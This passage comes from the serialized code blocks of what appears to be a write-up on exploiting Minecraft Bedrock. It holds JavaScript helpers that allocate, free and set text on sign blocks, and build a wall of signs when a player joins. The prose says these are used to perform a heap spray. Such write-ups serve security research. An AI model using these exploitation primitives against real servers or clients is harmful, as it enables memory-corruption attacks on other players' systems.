}," sign",{"type":24,"tag":158,"props":151531,"children":151532},{"style":165},[151533],{"type":29,"value":1181},{"type":24,"tag":158,"props":151535,"children":151536},{"style":177},[151537],{"type":29,"value":151538}," signs",{"type":24,"tag":158,"props":151540,"children":151541},{"style":188},[151542],{"type":29,"value":16038},{"type":24,"tag":158,"props":151544,"children":151545},{"class":160,"line":259},[151546,151550,151554,151559,151563,151568,151572,151576,151580,151584],{"type":24,"tag":158,"props":151547,"children":151548},{"style":1914},[151549],{"type":29,"value":4936},{"type":24,"tag":158,"props":151551,"children":151552},{"style":188},[151553],{"type":29,"value":2262},{"type":24,"tag":158,"props":151555,"children":151556},{"style":177},[151557],{"type":29,"value":151558},"sign",{"type":24,"tag":158,"props":151560,"children":151561},{"style":188},[151562],{"type":29,"value":347},{"type":24,"tag":158,"props":151564,"children":151565},{"style":177},[151566],{"type":29,"value":151567},"allocated",{"type":24,"tag":158,"props":151569,"children":151570},{"style":222},[151571],{"type":29,"value":24953},{"type":24,"tag":158,"props":151573,"children":151574},{"style":177},[151575],{"type":29,"value":151529},{"type":24,"tag":158,"props":151577,"children":151578},{"style":188},[151579],{"type":29,"value":347},{"type":24,"tag":158,"props":151581,"children":151582},{"style":177},[151583],{"type":29,"value":134243},{"type":24,"tag":158,"props":151585,"children":151586},{"style":188},[151587],{"type":29,"value":16038},{"type":24,"tag":158,"props":151589,"children":151590},{"class":160,"line":280},[151591,151596],{"type":24,"tag":158,"props":151592,"children":151593},{"style":1914},[151594],{"type":29,"value":151595}," continue",{"type":24,"tag":158,"props":151597,"children":151598},{"style":188},[151599],{"type":29,"value":473},{"type":24,"tag":158,"props":151601,"children":151602},{"class":160,"line":301},[151603],{"type":24,"tag":158,"props":151604,"children":151605},{"style":188},[151606],{"type":29,"value":5010},{"type":24,"tag":158,"props":151608,"children":151609},{"class":160,"line":626},[151610],{"type":24,"tag":158,"props":151611,"children":151612},{"emptyLinePlaceholder":16},[151613],{"type":29,"value":481},{"type":24,"tag":158,"props":151615,"children":151616},{"class":160,"line":668},[151617,151622,151626,151630,151634,151639,151643,151647,151651,151655,151659,151663,151667,151671],{"type":24,"tag":158,"props":151618,"children":151619},{"style":177},[151620],{"type":29,"value":151621}," sign",{"type":24,"tag":158,"props":151623,"children":151624},{"style":188},[151625],{"type":29,"value":347},{"type":24,"tag":158,"props":151627,"children":151628},{"style":177},[151629],{"type":29,"value":151558},{"type":24,"tag":158,"props":151631,"children":151632},{"style":188},[151633],{"type":29,"value":347},{"type":24,"tag":158,"props":151635,"children":151636},{"style":496},[151637],{"type":29,"value":151638},"setText",{"type":24,"tag":158,"props":151640,"children":151641},{"style":188},[151642],{"type":29,"value":504},{"type":24,"tag":158,"props":151644,"children":151645},{"style":177},[151646],{"type":29,"value":151496},{"type":24,"tag":158,"props":151648,"children":151649},{"style":188},[151650],{"type":29,"value":347},{"type":24,"tag":158,"props":151652,"children":151653},{"style":496},[151654],{"type":29,"value":134493},{"type":24,"tag":158,"props":151656,"children":151657},{"style":188},[151658],{"type":29,"value":504},{"type":24,"tag":158,"props":151660,"children":151661},{"style":177},[151662],{"type":29,"value":125538},{"type":24,"tag":158,"props":151664,"children":151665},{"style":222},[151666],{"type":29,"value":52527},{"type":24,"tag":158,"props":151668,"children":151669},{"style":465},[151670],{"type":29,"value":1668},{"type":24,"tag":158,"props":151672,"children":151673},{"style":188},[151674],{"type":29,"value":3849},{"type":24,"tag":158,"props":151676,"children":151677},{"class":160,"line":676},[151678,151682,151686,151690,151694,151698],{"type":24,"tag":158,"props":151679,"children":151680},{"style":177},[151681],{"type":29,"value":151621},{"type":24,"tag":158,"props":151683,"children":151684},{"style":188},[151685],{"type":29,"value":347},{"type":24,"tag":158,"props":151687,"children":151688},{"style":177},[151689],{"type":29,"value":151567},{"type":24,"tag":158,"props":151691,"children":151692},{"style":222},[151693],{"type":29,"value":462},{"type":24,"tag":158,"props":151695,"children":151696},{"style":165},[151697],{"type":29,"value":3354},{"type":24,"tag":158,"props":151699,"children":151700},{"style":188},[151701],{"type":29,"value":473},{"type":24,"tag":158,"props":151703,"children":151704},{"class":160,"line":684},[151705,151709,151713],{"type":24,"tag":158,"props":151706,"children":151707},{"style":1914},[151708],{"type":29,"value":16980},{"type":24,"tag":158,"props":151710,"children":151711},{"style":177},[151712],{"type":29,"value":151529},{"type":24,"tag":158,"props":151714,"children":151715},{"style":188},[151716],{"type":29,"value":473},{"type":24,"tag":158,"props":151718,"children":151719},{"class":160,"line":700},[151720],{"type":24,"tag":158,"props":151721,"children":151722},{"style":188},[151723],{"type":29,"value":3967},{"type":24,"tag":158,"props":151725,"children":151726},{"class":160,"line":785},[151727],{"type":24,"tag":158,"props":151728,"children":151729},{"emptyLinePlaceholder":16},[151730],{"type":29,"value":481},{"type":24,"tag":158,"props":151732,"children":151733},{"class":160,"line":1447},[151734,151738,151742,151747,151751,151756],{"type":24,"tag":158,"props":151735,"children":151736},{"style":177},[151737],{"type":29,"value":32700},{"type":24,"tag":158,"props":151739,"children":151740},{"style":188},[151741],{"type":29,"value":347},{"type":24,"tag":158,"props":151743,"children":151744},{"style":496},[151745],{"type":29,"value":151746},"warn",{"type":24,"tag":158,"props":151748,"children":151749},{"style":188},[151750],{"type":29,"value":504},{"type":24,"tag":158,"props":151752,"children":151753},{"style":1108},[151754],{"type":29,"value":151755},"\"No more allocs\"",{"type":24,"tag":158,"props":151757,"children":151758},{"style":188},[151759],{"type":29,"value":1071},{"type":24,"tag":158,"props":151761,"children":151762},{"class":160,"line":1509},[151763,151767,151771],{"type":24,"tag":158,"props":151764,"children":151765},{"style":1914},[151766],{"type":29,"value":18227},{"type":24,"tag":158,"props":151768,"children":151769},{"style":165},[151770],{"type":29,"value":40602},{"type":24,"tag":158,"props":151772,"children":151773},{"style":188},[151774],{"type":29,"value":473},{"type":24,"tag":158,"props":151776,"children":151777},{"class":160,"line":1527},[151778],{"type":24,"tag":158,"props":151779,"children":151780},{"style":188},[151781],{"type":29,"value":307},{"type":24,"tag":158,"props":151783,"children":151784},{"class":160,"line":1545},[151785],{"type":24,"tag":158,"props":151786,"children":151787},{"emptyLinePlaceholder":16},[151788],{"type":29,"value":481},{"type":24,"tag":158,"props":151790,"children":151791},{"class":160,"line":1618},[151792],{"type":24,"tag":158,"props":151793,"children":151794},{"style":2588},[151795],{"type":29,"value":151796},"// Free an allocated sign in the client\n",{"type":24,"tag":158,"props":151798,"children":151799},{"class":160,"line":1635},[151800,151804,151809,151813,151817],{"type":24,"tag":158,"props":151801,"children":151802},{"style":165},[151803],{"type":29,"value":32638},{"type":24,"tag":158,"props":151805,"children":151806},{"style":496},[151807],{"type":29,"value":151808}," free",{"type":24,"tag":158,"props":151810,"children":151811},{"style":188},[151812],{"type":29,"value":504},{"type":24,"tag":158,"props":151814,"children":151815},{"style":177},[151816],{"type":29,"value":151558},{"type":24,"tag":158,"props":151818,"children":151819},{"style":188},[151820],{"type":29,"value":16038},{"type":24,"tag":158,"props":151822,"children":151823},{"class":160,"line":1644},[151824,151828,151832,151836,151840,151844,151848,151852,151856,151860,151864,151868],{"type":24,"tag":158,"props":151825,"children":151826},{"style":1914},[151827],{"type":29,"value":3160},{"type":24,"tag":158,"props":151829,"children":151830},{"style":188},[151831],{"type":29,"value":2262},{"type":24,"tag":158,"props":151833,"children":151834},{"style":177},[151835],{"type":29,"value":151558},{"type":24,"tag":158,"props":151837,"children":151838},{"style":222},[151839],{"type":29,"value":3175},{"type":24,"tag":158,"props":151841,"children":151842},{"style":165},[151843],{"type":29,"value":40602},{"type":24,"tag":158,"props":151845,"children":151846},{"style":222},[151847],{"type":29,"value":24953},{"type":24,"tag":158,"props":151849,"children":151850},{"style":177},[151851],{"type":29,"value":151529},{"type":24,"tag":158,"props":151853,"children":151854},{"style":188},[151855],{"type":29,"value":347},{"type":24,"tag":158,"props":151857,"children":151858},{"style":177},[151859],{"type":29,"value":151567},{"type":24,"tag":158,"props":151861,"children":151862},{"style":222},[151863],{"type":29,"value":3175},{"type":24,"tag":158,"props":151865,"children":151866},{"style":165},[151867],{"type":29,"value":859},{"type":24,"tag":158,"props":151869,"children":151870},{"style":188},[151871],{"type":29,"value":16038},{"type":24,"tag":158,"props":151873,"children":151874},{"class":160,"line":1652},[151875,151879],{"type":24,"tag":158,"props":151876,"children":151877},{"style":1914},[151878],{"type":29,"value":16980},{"type":24,"tag":158,"props":151880,"children":151881},{"style":188},[151882],{"type":29,"value":473},{"type":24,"tag":158,"props":151884,"children":151885},{"class":160,"line":1704},[151886],{"type":24,"tag":158,"props":151887,"children":151888},{"style":188},[151889],{"type":29,"value":3967},{"type":24,"tag":158,"props":151891,"children":151892},{"class":160,"line":1713},[151893],{"type":24,"tag":158,"props":151894,"children":151895},{"emptyLinePlaceholder":16},[151896],{"type":29,"value":481},{"type":24,"tag":158,"props":151898,"children":151899},{"class":160,"line":1731},[151900,151905,151909,151913,151917,151921,151925,151930],{"type":24,"tag":158,"props":151901,"children":151902},{"style":177},[151903],{"type":29,"value":151904}," sign",{"type":24,"tag":158,"props":151906,"children":151907},{"style":188},[151908],{"type":29,"value":347},{"type":24,"tag":158,"props":151910,"children":151911},{"style":177},[151912],{"type":29,"value":151558},{"type":24,"tag":158,"props":151914,"children":151915},{"style":188},[151916],{"type":29,"value":347},{"type":24,"tag":158,"props":151918,"children":151919},{"style":496},[151920],{"type":29,"value":151638},{"type":24,"tag":158,"props":151922,"children":151923},{"style":188},[151924],{"type":29,"value":504},{"type":24,"tag":158,"props":151926,"children":151927},{"style":1108},[151928],{"type":29,"value":151929},"\"\"",{"type":24,"tag":158,"props":151931,"children":151932},{"style":188},[151933],{"type":29,"value":1071},{"type":24,"tag":158,"props":151935,"children":151936},{"class":160,"line":5485},[151937,151941,151945,151949,151953,151957],{"type":24,"tag":158,"props":151938,"children":151939},{"style":177},[151940],{"type":29,"value":151904},{"type":24,"tag":158,"props":151942,"children":151943},{"style":188},[151944],{"type":29,"value":347},{"type":24,"tag":158,"props":151946,"children":151947},{"style":177},[151948],{"type":29,"value":151567},{"type":24,"tag":158,"props":151950,"children":151951},{"style":222},[151952],{"type":29,"value":462},{"type":24,"tag":158,"props":151954,"children":151955},{"style":165},[151956],{"type":29,"value":859},{"type":24,"tag":158,"props":151958,"children":151959},{"style":188},[151960],{"type":29,"value":473},{"type":24,"tag":158,"props":151962,"children":151963},{"class":160,"line":5493},[151964],{"type":24,"tag":158,"props":151965,"children":151966},{"emptyLinePlaceholder":16},[151967],{"type":29,"value":481},{"type":24,"tag":158,"props":151969,"children":151970},{"class":160,"line":5553},[151971,151975,151979,151984,151988,151993],{"type":24,"tag":158,"props":151972,"children":151973},{"style":177},[151974],{"type":29,"value":151904},{"type":24,"tag":158,"props":151976,"children":151977},{"style":188},[151978],{"type":29,"value":347},{"type":24,"tag":158,"props":151980,"children":151981},{"style":177},[151982],{"type":29,"value":151983},"block",{"type":24,"tag":158,"props":151985,"children":151986},{"style":188},[151987],{"type":29,"value":347},{"type":24,"tag":158,"props":151989,"children":151990},{"style":496},[151991],{"type":29,"value":151992},"setPermutation",{"type":24,"tag":158,"props":151994,"children":151995},{"style":188},[151996],{"type":29,"value":2156},{"type":24,"tag":158,"props":151998,"children":151999},{"class":160,"line":10636},[152000,152005,152009,152014,152018,152023],{"type":24,"tag":158,"props":152001,"children":152002},{"style":177},[152003],{"type":29,"value":152004}," BlockPermutation",{"type":24,"tag":158,"props":152006,"children":152007},{"style":188},[152008],{"type":29,"value":347},{"type":24,"tag":158,"props":152010,"children":152011},{"style":496},[152012],{"type":29,"value":152013},"resolve",{"type":24,"tag":158,"props":152015,"children":152016},{"style":188},[152017],{"type":29,"value":504},{"type":24,"tag":158,"props":152019,"children":152020},{"style":1108},[152021],{"type":29,"value":152022},"\"minecraft:air\"",{"type":24,"tag":158,"props":152024,"children":152025},{"style":188},[152026],{"type":29,"value":2125},{"type":24,"tag":158,"props":152028,"children":152029},{"class":160,"line":10652},[152030],{"type":24,"tag":158,"props":152031,"children":152032},{"style":188},[152033],{"type":29,"value":44924},{"type":24,"tag":158,"props":152035,"children":152036},{"class":160,"line":10696},[152037,152041,152045,152049,152053,152057],{"type":24,"tag":158,"props":152038,"children":152039},{"style":177},[152040],{"type":29,"value":151904},{"type":24,"tag":158,"props":152042,"children":152043},{"style":188},[152044],{"type":29,"value":347},{"type":24,"tag":158,"props":152046,"children":152047},{"style":177},[152048],{"type":29,"value":134243},{"type":24,"tag":158,"props":152050,"children":152051},{"style":222},[152052],{"type":29,"value":462},{"type":24,"tag":158,"props":152054,"children":152055},{"style":165},[152056],{"type":29,"value":3354},{"type":24,"tag":158,"props":152058,"children":152059},{"style":188},[152060],{"type":29,"value":473},{"type":24,"tag":158,"props":152062,"children":152063},{"class":160,"line":10801},[152064],{"type":24,"tag":158,"props":152065,"children":152066},{"style":188},[152067],{"type":29,"value":307},{"type":24,"tag":25,"props":152069,"children":152070},{},[152071,152073,152079],{"type":29,"value":152072},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":24,"tag":154,"props":152074,"children":152076},{"className":152075},[],[152077],{"type":29,"value":152078},"signs",{"type":29,"value":152080}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":24,"tag":147,"props":152082,"children":152084},{"code":152083,"language":36879,"meta":7,"className":36877,"style":7},"let signs;\n\nfunction create_wall() {\n signs = [];\n\n for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n [...]\n \n const sign_block = world\n .getDimension(\"overworld\")\n .getBlock(sign_location);\n sign_block.setPermutation(\n BlockPermutation.resolve(\"minecraft:wall_sign\", {\n facing_direction: 3\n }\n ));\n let sign_component = sign_block\n .getComponent(BlockComponentTypes.Sign);\n\n signs.push({\n sign: sign_component,\n allocated: false,\n block: sign_block,\n removed: false\n });\n }\n }\n}\n\nfunction remove_wall() {\n signs = [];\n \n for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n \n [...]\n \n const sign_block = await wait_for_block(\n world.getDimension(\"overworld\"),\n sign_location\n );\n sign_block.setPermutation(\n BlockPermutation.resolve(\"minecraft:air\")\n );\n\n [...]\n }\n }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n remove_wall();\n});\n",[152085],{"type":24,"tag":154,"props":152086,"children":152087},{"__ignoreMap":7},[152088,152103,152110,152126,152143,152150,152212,152274,152281,152297,152305,152327,152353,152378,152398,152427,152439,152446,152454,152476,152510,152517,152537,152553,152569,152585,152597,152605,152612,152619,152626,152633,152649,152664,152671,152730,152789,152796,152811,152819,152847,152875,152883,152890,152909,152936,152943,152950,152965,152972,152979,152986,152993,153049,153061,153068,153075,153136,153148],{"type":24,"tag":158,"props":152089,"children":152090},{"class":160,"line":161},[152091,152095,152099],{"type":24,"tag":158,"props":152092,"children":152093},{"style":165},[152094],{"type":29,"value":2662},{"type":24,"tag":158,"props":152096,"children":152097},{"style":177},[152098],{"type":29,"value":151538},{"type":24,"tag":158,"props":152100,"children":152101},{"style":188},[152102],{"type":29,"value":473},{"type":24,"tag":158,"props":152104,"children":152105},{"class":160,"line":213},[152106],{"type":24,"tag":158,"props":152107,"children":152108},{"emptyLinePlaceholder":16},[152109],{"type":29,"value":481},{"type":24,"tag":158,"props":152111,"children":152112},{"class":160,"line":238},[152113,152117,152122],{"type":24,"tag":158,"props":152114,"children":152115},{"style":165},[152116],{"type":29,"value":32638},{"type":24,"tag":158,"props":152118,"children":152119},{"style":496},[152120],{"type":29,"value":152121}," create_wall",{"type":24,"tag":158,"props":152123,"children":152124},{"style":188},[152125],{"type":29,"value":16972},{"type":24,"tag":158,"props":152127,"children":152128},{"class":160,"line":259},[152129,152134,152138],{"type":24,"tag":158,"props":152130,"children":152131},{"style":177},[152132],{"type":29,"value":152133}," signs",{"type":24,"tag":158,"props":152135,"children":152136},{"style":222},[152137],{"type":29,"value":462},{"type":24,"tag":158,"props":152139,"children":152140},{"style":188},[152141],{"type":29,"value":152142}," [];\n",{"type":24,"tag":158,"props":152144,"children":152145},{"class":160,"line":280},[152146],{"type":24,"tag":158,"props":152147,"children":152148},{"emptyLinePlaceholder":16},[152149],{"type":29,"value":481},{"type":24,"tag":158,"props":152151,"children":152152},{"class":160,"line":301},[152153,152157,152161,152165,152170,152174,152178,152182,152187,152191,152196,152200,152204,152208],{"type":24,"tag":158,"props":152154,"children":152155},{"style":1914},[152156],{"type":29,"value":4702},{"type":24,"tag":158,"props":152158,"children":152159},{"style":188},[152160],{"type":29,"value":2262},{"type":24,"tag":158,"props":152162,"children":152163},{"style":165},[152164],{"type":29,"value":2662},{"type":24,"tag":158,"props":152166,"children":152167},{"style":177},[152168],{"type":29,"value":152169}," current_y",{"type":24,"tag":158,"props":152171,"children":152172},{"style":222},[152173],{"type":29,"value":462},{"type":24,"tag":158,"props":152175,"children":152176},{"style":465},[152177],{"type":29,"value":2025},{"type":24,"tag":158,"props":152179,"children":152180},{"style":188},[152181],{"type":29,"value":18465},{"type":24,"tag":158,"props":152183,"children":152184},{"style":177},[152185],{"type":29,"value":152186},"current_y",{"type":24,"tag":158,"props":152188,"children":152189},{"style":222},[152190],{"type":29,"value":2116},{"type":24,"tag":158,"props":152192,"children":152193},{"style":177},[152194],{"type":29,"value":152195}," WALL_HEIGHT",{"type":24,"tag":158,"props":152197,"children":152198},{"style":188},[152199],{"type":29,"value":18465},{"type":24,"tag":158,"props":152201,"children":152202},{"style":177},[152203],{"type":29,"value":152186},{"type":24,"tag":158,"props":152205,"children":152206},{"style":222},[152207],{"type":29,"value":52541},{"type":24,"tag":158,"props":152209,"children":152210},{"style":188},[152211],{"type":29,"value":16038},{"type":24,"tag":158,"props":152213,"children":152214},{"class":160,"line":626},[152215,152219,152223,152227,152232,152236,152240,152244,152249,152253,152258,152262,152266,152270],{"type":24,"tag":158,"props":152216,"children":152217},{"style":1914},[152218],{"type":29,"value":61850},{"type":24,"tag":158,"props":152220,"children":152221},{"style":188},[152222],{"type":29,"value":2262},{"type":24,"tag":158,"props":152224,"children":152225},{"style":165},[152226],{"type":29,"value":2662},{"type":24,"tag":158,"props":152228,"children":152229},{"style":177},[152230],{"type":29,"value":152231}," current_x",{"type":24,"tag":158,"props":152233,"children":152234},{"style":222},[152235],{"type":29,"value":462},{"type":24,"tag":158,"props":152237,"children":152238},{"style":465},[152239],{"type":29,"value":2025},{"type":24,"tag":158,"props":152241,"children":152242},{"style":188},[152243],{"type":29,"value":18465},{"type":24,"tag":158,"props":152245,"children":152246},{"style":177},[152247],{"type":29,"value":152248},"current_x",{"type":24,"tag":158,"props":152250,"children":152251},{"style":222},[152252],{"type":29,"value":2116},{"type":24,"tag":158,"props":152254,"children":152255},{"style":177},[152256],{"type":29,"value":152257}," WALL_WIDTH",{"type":24,"tag":158,"props":152259,"children":152260},{"style":188},[152261],{"type":29,"value":18465},{"type":24,"tag":158,"props":152263,"children":152264},{"style":177},[152265],{"type":29,"value":152248},{"type":24,"tag":158,"props":152267,"children":152268},{"style":222},[152269],{"type":29,"value":52541},{"type":24,"tag":158,"props":152271,"children":152272},{"style":188},[152273],{"type":29,"value":16038},{"type":24,"tag":158,"props":152275,"children":152276},{"class":160,"line":668},[152277],{"type":24,"tag":158,"props":152278,"children":152279},{"emptyLinePlaceholder":16},[152280],{"type":29,"value":481},{"type":24,"tag":158,"props":152282,"children":152283},{"class":160,"line":676},[152284,152289,152293],{"type":24,"tag":158,"props":152285,"children":152286},{"style":188},[152287],{"type":29,"value":152288}," [",{"type":24,"tag":158,"props":152290,"children":152291},{"style":222},[152292],{"type":29,"value":377},{"type":24,"tag":158,"props":152294,"children":152295},{"style":188},[152296],{"type":29,"value":2647},{"type":24,"tag":158,"props":152298,"children":152299},{"class":160,"line":684},[152300],{"type":24,"tag":158,"props":152301,"children":152302},{"style":188},[152303],{"type":29,"value":152304}," \n",{"type":24,"tag":158,"props":152306,"children":152307},{"class":160,"line":700},[152308,152313,152318,152322],{"type":24,"tag":158,"props":152309,"children":152310},{"style":165},[152311],{"type":29,"value":152312}," const",{"type":24,"tag":158,"props":152314,"children":152315},{"style":177},[152316],{"type":29,"value":152317}," sign_block",{"type":24,"tag":158,"props":152319,"children":152320},{"style":222},[152321],{"type":29,"value":462},{"type":24,"tag":158,"props":152323,"children":152324},{"style":177},[152325],{"type":29,"value":152326}," world\n",{"type":24,"tag":158,"props":152328,"children":152329},{"class":160,"line":785},[152330,152335,152340,152344,152349],{"type":24,"tag":158,"props":152331,"children":152332},{"style":188},[152333],{"type":29,"value":152334}," .",{"type":24,"tag":158,"props":152336,"children":152337},{"style":496},[152338],{"type":29,"value":152339},"getDimension",{"type":24,"tag":158,"props":152341,"children":152342},{"style":188},[152343],{"type":29,"value":504},{"type":24,"tag":158,"props":152345,"children":152346},{"style":1108},[152347],{"type":29,"value":152348},"\"overworld\"",{"type":24,"tag":158,"props":152350,"children":152351},{"style":188},[152352],{"type":29,"value":2125},{"type":24,"tag":158,"props":152354,"children":152355},{"class":160,"line":1447},[152356,152360,152365,152369,152374],{"type":24,"tag":158,"props":152357,"children":152358},{"style":188},[152359],{"type":29,"value":152334},{"type":24,"tag":158,"props":152361,"children":152362},{"style":496},[152363],{"type":29,"value":152364},"getBlock",{"type":24,"tag":158,"props":152366,"children":152367},{"style":188},[152368],{"type":29,"value":504},{"type":24,"tag":158,"props":152370,"children":152371},{"style":177},[152372],{"type":29,"value":152373},"sign_location",{"type":24,"tag":158,"props":152375,"children":152376},{"style":188},[152377],{"type":29,"value":1071},{"type":24,"tag":158,"props":152379,"children":152380},{"class":160,"line":1509},[152381,152386,152390,152394],{"type":24,"tag":158,"props":152382,"children":152383},{"style":177},[152384],{"type":29,"value":152385}," sign_block",{"type":24,"tag":158,"props":152387,"children":152388},{"style":188},[152389],{"type":29,"value":347},{"type":24,"tag":158,"props":152391,"children":152392},{"style":496},[152393],{"type":29,"value":151992},{"type":24,"tag":158,"props":152395,"children":152396},{"style":188},[152397],{"type":29,"value":2156},{"type":24,"tag":158,"props":152399,"children":152400},{"class":160,"line":1527},[152401,152406,152410,152414,152418,152423],{"type":24,"tag":158,"props":152402,"children":152403},{"style":177},[152404],{"type":29,"value":152405}," BlockPermutation",{"type":24,"tag":158,"props":152407,"children":152408},{"style":188},[152409],{"type":29,"value":347},{"type":24,"tag":158,"props":152411,"children":152412},{"style":496},[152413],{"type":29,"value":152013},{"type":24,"tag":158,"props":152415,"children":152416},{"style":188},[152417],{"type":29,"value":504},{"type":24,"tag":158,"props":152419,"children":152420},{"style":1108},[152421],{"type":29,"value":152422},"\"minecraft:wall_sign\"",{"type":24,"tag":158,"props":152424,"children":152425},{"style":188},[152426],{"type":29,"value":50153},{"type":24,"tag":158,"props":152428,"children":152429},{"class":160,"line":1545},[152430,152435],{"type":24,"tag":158,"props":152431,"children":152432},{"style":177},[152433],{"type":29,"value":152434}," facing_direction:",{"type":24,"tag":158,"props":152436,"children":152437},{"style":465},[152438],{"type":29,"value":20569},{"type":24,"tag":158,"props":152440,"children":152441},{"class":160,"line":1618},[152442],{"type":24,"tag":158,"props":152443,"children":152444},{"style":188},[152445],{"type":29,"value":72347},{"type":24,"tag":158,"props":152447,"children":152448},{"class":160,"line":1635},[152449],{"type":24,"tag":158,"props":152450,"children":152451},{"style":188},[152452],{"type":29,"value":152453}," ));\n",{"type":24,"tag":158,"props":152455,"children":152456},{"class":160,"line":1644},[152457,152462,152467,152471],{"type":24,"tag":158,"props":152458,"children":152459},{"style":165},[152460],{"type":29,"value":152461}," let",{"type":24,"tag":158,"props":152463,"children":152464},{"style":177},[152465],{"type":29,"value":152466}," sign_component",{"type":24,"tag":158,"props":152468,"children":152469},{"style":222},[152470],{"type":29,"value":462},{"type":24,"tag":158,"props":152472,"children":152473},{"style":177},[152474],{"type":29,"value":152475}," sign_block\n",{"type":24,"tag":158,"props":152477,"children":152478},{"class":160,"line":1652},[152479,152483,152488,152492,152497,152501,152506],{"type":24,"tag":158,"props":152480,"children":152481},{"style":188},[152482],{"type":29,"value":152334},{"type":24,"tag":158,"props":152484,"children":152485},{"style":496},[152486],{"type":29,"value":152487},"getComponent",{"type":24,"tag":158,"props":152489,"children":152490},{"style":188},[152491],{"type":29,"value":504},{"type":24,"tag":158,"props":152493,"children":152494},{"style":177},[152495],{"type":29,"value":152496},"BlockComponentTypes",{"type":24,"tag":158,"props":152498,"children":152499},{"style":188},[152500],{"type":29,"value":347},{"type":24,"tag":158,"props":152502,"children":152503},{"style":177},[152504],{"type":29,"value":152505},"Sign",{"type":24,"tag":158,"props":152507,"children":152508},{"style":188},[152509],{"type":29,"value":1071},{"type":24,"tag":158,"props":152511,"children":152512},{"class":160,"line":1704},[152513],{"type":24,"tag":158,"props":152514,"children":152515},{"emptyLinePlaceholder":16},[152516],{"type":29,"value":481},{"type":24,"tag":158,"props":152518,"children":152519},{"class":160,"line":1713},[152520,152525,152529,152533],{"type":24,"tag":158,"props":152521,"children":152522},{"style":177},[152523],{"type":29,"value":152524}," signs",{"type":24,"tag":158,"props":152526,"children":152527},{"style":188},[152528],{"type":29,"value":347},{"type":24,"tag":158,"props":152530,"children":152531},{"style":496},[152532],{"type":29,"value":5469},{"type":24,"tag":158,"props":152534,"children":152535},{"style":188},[152536],{"type":29,"value":16375},{"type":24,"tag":158,"props":152538,"children":152539},{"class":160,"line":1731},[152540,152545,152549],{"type":24,"tag":158,"props":152541,"children":152542},{"style":177},[152543],{"type":29,"value":152544}," sign:",{"type":24,"tag":158,"props":152546,"children":152547},{"style":177},[152548],{"type":29,"value":152466},{"type":24,"tag":158,"props":152550,"children":152551},{"style":188},[152552],{"type":29,"value":235},{"type":24,"tag":158,"props":152554,"children":152555},{"class":160,"line":5485},[152556,152561,152565],{"type":24,"tag":158,"props":152557,"children":152558},{"style":177},[152559],{"type":29,"value":152560}," allocated:",{"type":24,"tag":158,"props":152562,"children":152563},{"style":165},[152564],{"type":29,"value":859},{"type":24,"tag":158,"props":152566,"children":152567},{"style":188},[152568],{"type":29,"value":235},{"type":24,"tag":158,"props":152570,"children":152571},{"class":160,"line":5493},[152572,152577,152581],{"type":24,"tag":158,"props":152573,"children":152574},{"style":177},[152575],{"type":29,"value":152576}," block:",{"type":24,"tag":158,"props":152578,"children":152579},{"style":177},[152580],{"type":29,"value":152317},{"type":24,"tag":158,"props":152582,"children":152583},{"style":188},[152584],{"type":29,"value":235},{"type":24,"tag":158,"props":152586,"children":152587},{"class":160,"line":5553},[152588,152593],{"type":24,"tag":158,"props":152589,"children":152590},{"style":177},[152591],{"type":29,"value":152592}," removed:",{"type":24,"tag":158,"props":152594,"children":152595},{"style":165},[152596],{"type":29,"value":3195},{"type":24,"tag":158,"props":152598,"children":152599},{"class":160,"line":10636},[152600],{"type":24,"tag":158,"props":152601,"children":152602},{"style":188},[152603],{"type":29,"value":152604}," });\n",{"type":24,"tag":158,"props":152606,"children":152607},{"class":160,"line":10652},[152608],{"type":24,"tag":158,"props":152609,"children":152610},{"style":188},[152611],{"type":29,"value":5010},{"type":24,"tag":158,"props":152613,"children":152614},{"class":160,"line":10696},[152615],{"type":24,"tag":158,"props":152616,"children":152617},{"style":188},[152618],{"type":29,"value":3967},{"type":24,"tag":158,"props":152620,"children":152621},{"class":160,"line":10801},[152622],{"type":24,"tag":158,"props":152623,"children":152624},{"style":188},[152625],{"type":29,"value":307},{"type":24,"tag":158,"props":152627,"children":152628},{"class":160,"line":24754},[152629],{"type":24,"tag":158,"props":152630,"children":152631},{"emptyLinePlaceholder":16},[152632],{"type":29,"value":481},{"type":24,"tag":158,"props":152634,"children":152635},{"class":160,"line":24789},[152636,152640,152645],{"type":24,"tag":158,"props":152637,"children":152638},{"style":165},[152639],{"type":29,"value":32638},{"type":24,"tag":158,"props":152641,"children":152642},{"style":496},[152643],{"type":29,"value":152644}," remove_wall",{"type":24,"tag":158,"props":152646,"children":152647},{"style":188},[152648],{"type":29,"value":16972},{"type":24,"tag":158,"props":152650,"children":152651},{"class":160,"line":24797},[152652,152656,152660],{"type":24,"tag":158,"props":152653,"children":152654},{"style":177},[152655],{"type":29,"value":152133},{"type":24,"tag":158,"props":152657,"children":152658},{"style":222},[152659],{"type":29,"value":462},{"type":24,"tag":158,"props":152661,"children":152662},{"style":188},[152663],{"type":29,"value":152142},{"type":24,"tag":158,"props":152665,"children":152666},{"class":160,"line":24805},[152667],{"type":24,"tag":158,"props":152668,"children":152669},{"style":188},[152670],{"type":29,"value":63060},{"type":24,"tag":158,"props":152672,"children":152673},{"class":160,"line":24814},[152674,152678,152682,152686,152690,152694,152698,152702,152706,152710,152714,152718,152722,152726],{"type":24,"tag":158,"props":152675,"children":152676},{"style":1914},[152677],{"type":29,"value":4702},{"type":24,"tag":158,"props":152679,"children":152680},{"style":188},[152681],{"type":29,"value":2262},{"type":24,"tag":158,"props":152683,"children":152684},{"style":165},[152685],{"type":29,"value":2662},{"type":24,"tag":158,"props":152687,"children":152688},{"style":177},[152689],{"type":29,"value":152169},{"type":24,"tag":158,"props":152691,"children":152692},{"style":222},[152693],{"type":29,"value":462},{"type":24,"tag":158,"props":152695,"children":152696},{"style":465},[152697],{"type":29,"value":2025},{"type":24,"tag":158,"props":152699,"children":152700},{"style":188},[152701],{"type":29,"value":18465},{"type":24,"tag":158,"props":152703,"children":152704},{"style":177},[152705],{"type":29,"value":152186},{"type":24,"tag":158,"props":152707,"children":152708},{"style":222},[152709],{"type":29,"value":2116},{"type":24,"tag":158,"props":152711,"children":152712},{"style":177},[152713],{"type":29,"